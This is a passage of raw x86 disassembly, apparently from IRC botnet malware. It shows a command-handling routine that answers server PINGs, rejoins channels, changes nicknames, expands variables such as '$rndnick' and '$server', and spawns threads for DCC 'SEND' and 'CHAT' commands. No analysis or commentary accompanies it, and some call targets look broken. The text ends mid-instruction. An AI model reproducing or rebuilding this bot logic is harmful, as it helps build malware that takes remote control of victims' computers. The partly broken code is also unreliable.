var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C500 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41BF70 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BFD0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F75 push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BF70 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push offset asc_42CDC4 ; " :" push eax call sub_41C2E0 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 mov esi, offset asc_42CDC0 ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41CAD4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F75 cmp [ebp+var_8C], ebx jz loc_401F75 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41BFD0 lea eax, [ebp+var_C4] push offset asc_42CDBC ; "!" push eax call sub_41CAD4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409823 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a005 ; "005" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a302 ; "302" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BFD0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40AE84 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401E9A mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409823 lea eax, [ebp+var_2C4] push eax call sub_415D38 add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401F75 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E8D: ; CODE XREF: sub_401ACD+5F6j ; sub_401ACD+8B9j ... push [ebp+arg_4] call sub_409823 jmp loc_404260 ; --------------------------------------------------------------------------- loc_401E9A: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401FDD mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC3: ; CODE XREF: sub_401ACD+448j lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F10 lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F10 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C890 push [ebp+arg_1C] push edi call sub_41C8A0 add esp, 10h mov edi, 80h loc_401F10: ; CODE XREF: sub_401ACD+407j ; sub_401ACD+41Ej add esi, edi dec [ebp+arg_0] jnz short loc_401EC3 lea eax, [ebp+var_C4] test eax, eax jz short loc_401F75 cmp [ebp+arg_24], ebx jz short loc_401F75 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F4D push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BFD0 jmp loc_4036A2 ; --------------------------------------------------------------------------- loc_401F4D: ; CODE XREF: sub_401ACD+46Cj mov edi, [ebp+arg_18] xor esi, esi loc_401F52: ; CODE XREF: sub_401ACD+4A6j cmp [edi], bl jz short loc_401F69 lea eax, [ebp+var_E04] push eax push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401F7D loc_401F69: ; CODE XREF: sub_401ACD+487j inc esi add edi, 80h cmp esi, 3 jl short loc_401F52 loc_401F75: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej pop eax loc_401F78: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A40j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F7D: ; CODE XREF: sub_401ACD+49Aj lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F75 push eax call sub_41B9C0 push [ebp+arg_24] mov edi, eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F75 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C266 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409869 add esp, 24h jmp short loc_401F75 ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401ACD+3DCj push esi push offset aPart ; "PART" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401FFF push esi push offset aQuit ; "QUIT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402026 loc_401FFF: ; CODE XREF: sub_401ACD+51Fj mov edi, [ebp+arg_18] xor esi, esi loc_402004: ; CODE XREF: sub_401ACD+557j cmp [edi], bl jz short loc_40201A push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_402067 loc_40201A: ; CODE XREF: sub_401ACD+539j inc esi add edi, 80h cmp esi, 3 jl short loc_402004 loc_402026: ; CODE XREF: sub_401ACD+530j push [ebp+var_8C] push offset a353 ; "353" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4020C8 push [ebp+var_80] push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40205A mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40205A: ; CODE XREF: sub_401ACD+582j push [ebp+var_80] push offset unk_42CCFC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_401ACD+54Bj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CCDC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push [ebp+var_8C] push offset aPart ; "PART" call sub_41CA50 add esp, 18h test eax, eax jnz loc_401F75 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4020C8: ; CODE XREF: sub_401ACD+56Dj push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41CA50 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 cmp dword_429088, ebx jz loc_409644 loc_40211C: ; CODE XREF: sub_401ACD+615j ; sub_401ACD+627j push [ebp+var_8C] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_402160: ; CODE XREF: sub_401ACD+891j ; sub_401ACD+8CDj ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CCC0 mov [ebp+arg_8], eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40253B push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402402 cmp [ebp+var_A4], ebx jz loc_4023DB push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_1B98] push [ebp+esi+var_84] push edi push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C4] push offset unk_42CC84 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset loc_416563 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40228C: ; CODE XREF: sub_401ACD+7D3j cmp [ebp+var_19F0], ebx jnz loc_4082DE push 32h call near ptr 2680EF8h nop jmp short loc_40228C ; --------------------------------------------------------------------------- loc_4022A2: ; CODE XREF: sub_401ACD+65Fj ; sub_401ACD+675j push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4022BB mov [ebp+var_4], 1 loc_4022BB: ; CODE XREF: sub_401ACD+7E5j cmp [ebp+var_88], ebx jz loc_401F75 push offset dword_42CC80 push [ebp+var_88] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4022E2 cmp [ebp+var_4], ebx jz short loc_4022EE loc_4022E2: ; CODE XREF: sub_401ACD+80Ej lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_4022EE: ; CODE XREF: sub_401ACD+813j cmp [ebp+var_84], ebx jz loc_401F75 inc [ebp+var_84] jz short loc_40233A cmp [ebp+arg_10], ebx jz short loc_40233A lea eax, [ebp+var_338] push eax call sub_41B9C0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C850 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402340 ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_401ACD+833j ; sub_401ACD+838j mov esi, [ebp+var_AC] loc_402340: ; CODE XREF: sub_401ACD+86Bj mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F75 push edi push offset dword_42CC74 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_40238B mov eax, dword_4CB888 mov eax, off_429160[eax*4] cmp [eax], bl jz short loc_40238B push eax push ecx push offset dword_42CC58 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: sub_401ACD+8A0j ; sub_401ACD+8B0j push edi push offset dword_42CC50 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_402160 push eax push ecx push offset dword_42CC38 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4023CA: ; CODE XREF: sub_401ACD+7B9j ; sub_401ACD+76B7j nop call near ptr 269086Bh push eax push offset unk_42CBFC jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4023DB: ; CODE XREF: sub_401ACD+6DDj lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CBB8 loc_4023EE: ; CODE XREF: sub_401ACD+7C19j ; sub_401ACD+7C80j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 10h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_402402: ; CODE XREF: sub_401ACD+6D1j push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402551 cmp [ebp+var_A4], ebx jz loc_40252A push 1Bh call sub_40B602 test eax, eax pop ecx jnz loc_402519 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CB90 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B3BA add esp, 18h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset dword_416000 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_402508 loc_4024F2: ; CODE XREF: sub_401ACD+A39j cmp [ebp+var_2904], ebx jnz loc_4082DE push 32h nop call near ptr 2680EF8h jmp short loc_4024F2 ; --------------------------------------------------------------------------- loc_402508: ; CODE XREF: sub_401ACD+A23j nop call near ptr 269086Bh push eax push offset unk_42CB58 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_401ACD+966j lea eax, [ebp+var_C4] push eax push offset unk_42CB28 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40252A: ; CODE XREF: sub_401ACD+956j lea eax, [ebp+var_C4] push eax push offset unk_42CAF4 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40253B: ; CODE XREF: sub_401ACD+6B6j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401F75 loc_402551: ; CODE XREF: sub_401ACD+94Aj mov edi, [edi] push edi push offset aC ; "c" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C push edi push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C cmp [ebp+var_A4], ebx jnz short loc_4025A2 push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 loc_4025A2: ; CODE XREF: sub_401ACD+AB9j cmp [ebp+arg_28], ebx jnz loc_409644 xor edi, edi cmp dword_4294CC, ebx jle loc_402757 mov [ebp+arg_20], offset dword_43DB90 loc_4025C0: ; CODE XREF: sub_401ACD+B12j push [ebp+arg_8] push [ebp+arg_20] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4025E6 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294CC jl short loc_4025C0 jmp loc_402757 ; --------------------------------------------------------------------------- loc_4025E6: ; CODE XREF: sub_401ACD+B02j push offset asc_42CDC4 ; " :" push [ebp+arg_0] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43DBA8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BFD0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40263B: ; CODE XREF: sub_401ACD+C1Fj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_4026A7 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026A7 lea eax, dword_43DB90[edi] push eax call sub_41B9C0 add [ebp+var_C], eax pop ecx jz short loc_4026E2 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4026E2 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch jmp short loc_4026E2 ; --------------------------------------------------------------------------- loc_4026A7: ; CODE XREF: sub_401ACD+B96j ; sub_401ACD+B9Dj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026E2 lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BFD0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 18h loc_4026E2: ; CODE XREF: sub_401ACD+BAFj ; sub_401ACD+BC3j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40263B lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_402742 mov eax, [edi] cmp eax, ebx jz short loc_402742 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch loc_402742: ; CODE XREF: sub_401ACD+C5Aj ; sub_401ACD+C60j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026FF mov [ebp+var_2C8], 1 loc_402757: ; CODE XREF: sub_401ACD+AE6j ; sub_401ACD+B14j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_402770 cmp [ebp+var_2C8], ebx jz loc_402961 loc_402770: ; CODE XREF: sub_401ACD+C95j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_41843B lea eax, [ebp+var_C4] push eax push offset aUser_1 ; "$user" push edi call sub_41843B push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_41843B push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_41843B add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_41843B mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C2E0 add esp, 14h loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj test eax, eax jz loc_4028DF push edi push [ebp+arg_0] call sub_41C2E0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BFD0 lea eax, [ebp+var_A0] push offset asc_42CAAC ; ")" push eax call sub_41CAD4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40282E cmp [ebp+var_A0], 39h jle short loc_402844 loc_40282E: ; CODE XREF: sub_401ACD+D56j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BFD0 add esp, 0Ch loc_402844: ; CODE XREF: sub_401ACD+D5Fj lea eax, [ebp+var_A0] push eax call sub_41C159 test eax, eax pop ecx jle short loc_40286A lea eax, [ebp+var_A0] push eax call sub_41C159 pop ecx mov [ebp+var_94], al jmp short loc_40287E ; --------------------------------------------------------------------------- loc_40286A: ; CODE XREF: sub_401ACD+D86j call sub_41C2C2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40287E: ; CODE XREF: sub_401ACD+D9Bj lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B9C0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BF70 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BFD0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B push edi push [ebp+arg_0] call sub_41C2E0 add esp, 30h jmp loc_4027E2 ; --------------------------------------------------------------------------- loc_4028DF: ; CODE XREF: sub_401ACD+D17j mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 lea eax, [ebp+var_4EF8] push offset asc_42CDC0 ; " " push eax call sub_41CAD4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40292F: ; CODE XREF: sub_401ACD+E77j push offset asc_42CDC0 ; " " push ebx call 